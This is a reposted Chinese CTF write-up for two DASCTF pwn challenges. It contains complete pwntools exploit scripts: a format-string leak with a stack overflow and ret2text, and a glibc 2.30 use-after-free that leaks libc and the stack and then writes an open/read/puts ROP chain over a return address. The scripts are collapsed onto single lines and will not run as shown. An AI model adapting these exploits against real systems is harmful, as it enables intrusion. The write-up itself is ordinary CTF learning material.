当前位置: 代码迷 >> 综合 >> DASCTF 7月部分pwn
  详细解决方案

DASCTF 7月部分pwn

热度:51   发布时间:2024-02-01 04:10:02.0

做了pwn1跟pwn3,pwn2没做出来(俺是废物)…

pwn1

签到题,但是我们要记住

.text:080485F8                 mov     eax, 0
.text:080485FD                 mov     ecx, [ebp+var_4]
.text:08048600                 leave
.text:08048601                 lea     esp, [ecx-4]
.text:08048604                 retn

32位的main的最后有一个将ebp转为esp的代码,如果你栈溢出破坏了ebp,会导致[ecx-4]报错,
因此这个题的做法也很简单,利用格式化字符串漏洞泄露ebp,然后通过gets来进行ret2text

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):global pif(debug == 1):p = process('./qiandao')else:p = remote(ip,port)#gdb.attach(p,"b *0x80485F0")p.sendlineafter("your name:\n","%2$p")p.recvuntil("0x")addr=int(p.recv(8),16)p.sendlineafter(" problem?\n","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaa"+p32(addr+4)+p32(0x804857D))p.interactive()
if __name__ == '__main__':pwn('183.129.189.60',10013,0)

payload那一坨aaa是我测试偏移的时候写的,懒得改了

bigbear

这个是个libc2.30下的UAF。不一样的是开启了沙盒保护,
常规的做法是利用UAF更改free_hook令free_hook指向setcontext里的某一段汇编,具体在libc里的代码为

.text:00000000000520A5                 mov     rsp, [rdi+0A0h]
.text:00000000000520AC                 mov     rbx, [rdi+80h]
.text:00000000000520B3                 mov     rbp, [rdi+78h]
.text:00000000000520B7                 mov     r12, [rdi+48h]
.text:00000000000520BB                 mov     r13, [rdi+50h]
.text:00000000000520BF                 mov     r14, [rdi+58h]
.text:00000000000520C3                 mov     r15, [rdi+60h]
.text:00000000000520C7                 mov     rcx, [rdi+0A8h]
.text:00000000000520CE                 push    rcx
.text:00000000000520CF                 mov     rsi, [rdi+70h]
.text:00000000000520D3                 mov     rdx, [rdi+88h]
.text:00000000000520DA                 mov     rcx, [rdi+98h]
.text:00000000000520E1                 mov     r8, [rdi+28h]
.text:00000000000520E5                 mov     r9, [rdi+30h]
.text:00000000000520E9                 mov     rdi, [rdi+68h]

以上为libc2.27的代码,如图,我们只要能控制rdi与rdi往下的一段内存空间,我们就能控制所有寄存器。
但是在libc2.30里,我们发现事情没有辣么简单

.text:000000000005803D                 mov     rsp, [rdx+0A0h]
.text:0000000000058044                 mov     rbx, [rdx+80h]
.text:000000000005804B                 mov     rbp, [rdx+78h]
.text:000000000005804F                 mov     r12, [rdx+48h]
.text:0000000000058053                 mov     r13, [rdx+50h]
.text:0000000000058057                 mov     r14, [rdx+58h]
.text:000000000005805B                 mov     r15, [rdx+60h]
.text:000000000005805F                 test    dword ptr fs:48h, 2
.text:000000000005806B                 jz      loc_58126
.text:0000000000058071                 mov     rsi, [rdx+3A8h]
.text:0000000000058078                 mov     rdi, rsi
.text:000000000005807B                 mov     rcx, [rdx+3B0h]

我们发现在libc2.30里面,原来是rdi的变成了rdx(libc.2.29以后就是这样的了),这直接就让控制rdx,也就是更改一个三参函数的hook。至少我是做不到的。
那么改怎么做呢,我们还是劫持返回地址来执行ORW。
首先还是利用漏洞来泄露出libc地址。
然后利用libc里面的environ结构体来泄露栈地址,
然后利用漏洞在返回地址写入ORW

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('bigbear')
p = 0
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def pwn(ip,port,debug):global pif(debug == 1):p = process('./bigbear')else:p = remote(ip,port)def add(size,content):p.sendlineafter(">>","1")p.sendlineafter("input the size:\n",str(size))p.sendafter("input the content:\n",content)def free(index):p.sendlineafter(">>","2")p.sendlineafter("Please input the idx\n",str(index))def show(index):p.sendlineafter(">>","3")p.sendlineafter("Please input the idx:\n",str(index))def edit(index,content):p.sendlineafter(">>","4")p.sendlineafter("Please input the idx\n",str(index))p.sendafter("input the content:\n",content)for i in range(8):add(0x90,"A"*0x90)add(0x140,"A"*0x140)add(0x140,"A"*0x140)add(0x100,"A"*0x140)add(0x140,"flag\x00".ljust(0x140,"\x00"))for i in range(8):free(i)show(7)p.recvuntil("Content:")main_arena=u64(p.recv(6).ljust(8,"\x00"))libcbase_addr=main_arena-(0x7f6190f26be0-0x00007f6190d3c000)free_hook=libcbase_addr+libc.symbols["__free_hook"]setcontext_addr=libcbase_addr+libc.symbols["setcontext"]environ_addr=libcbase_addr+(0x7fbfb459b2c0-0x7fbfb43ad000)pop_rdi_ret=libcbase_addr+libc.search(asm("pop rdi\nret")).next()pop_rsi_ret=libcbase_addr+libc.search(asm("pop rsi\nret")).next()pop_rdx_ret=libcbase_addr+libc.search(asm("pop rdx\nret")).next()open_addr=libcbase_addr+libc.symbols["open"]read_addr=libcbase_addr+libc.symbols["read"]puts_addr=libcbase_addr+libc.symbols["puts"]print "main_arena=",hex(main_arena)edit(6,p64(environ_addr-0x10))add(0x90,"A"*0x10)add(0x90,"A"*0x10)show(13)p.recvuntil("Content:AAAAAAAAAAAAAAAA")stack_addr=u64(p.recv(6).ljust(8,"\x00"))print "stack_addr=",hex(stack_addr)free(9)free(8)edit(8,p64(0)+"\x20")free(8)show(8)p.recvuntil("Content:")heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x7a0print "heap_addr=",hex(heap_addr)orw=p64(0)*2orw+=p64(pop_rdi_ret)+p64(heap_addr+0xb50)orw+=p64(pop_rsi_ret)+p64(72)orw+=p64(open_addr)orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heap_addr+0x30)+p64(read_addr)orw+=p64(pop_rdi_ret)+p64(heap_addr+0x30)+p64(puts_addr)add(0x140,p64(stack_addr-0x140))add(0x140,p64(stack_addr-0x140).ljust(0x140,'\x00'))#gdb.attach(p,"b*read")add(0x140,orw+'\n')#p.sendlineafter(">>","5")p.interactive()
if __name__ == '__main__':pwn('buuoj.cn',20035,1)

总结

三个题还蛮不错的,第二个pwn没做出来,尴尬,这次比赛时间有点短小啊。。。
以前遇到沙盒堆总是喜欢利用setcontext来做,但是这次不行了。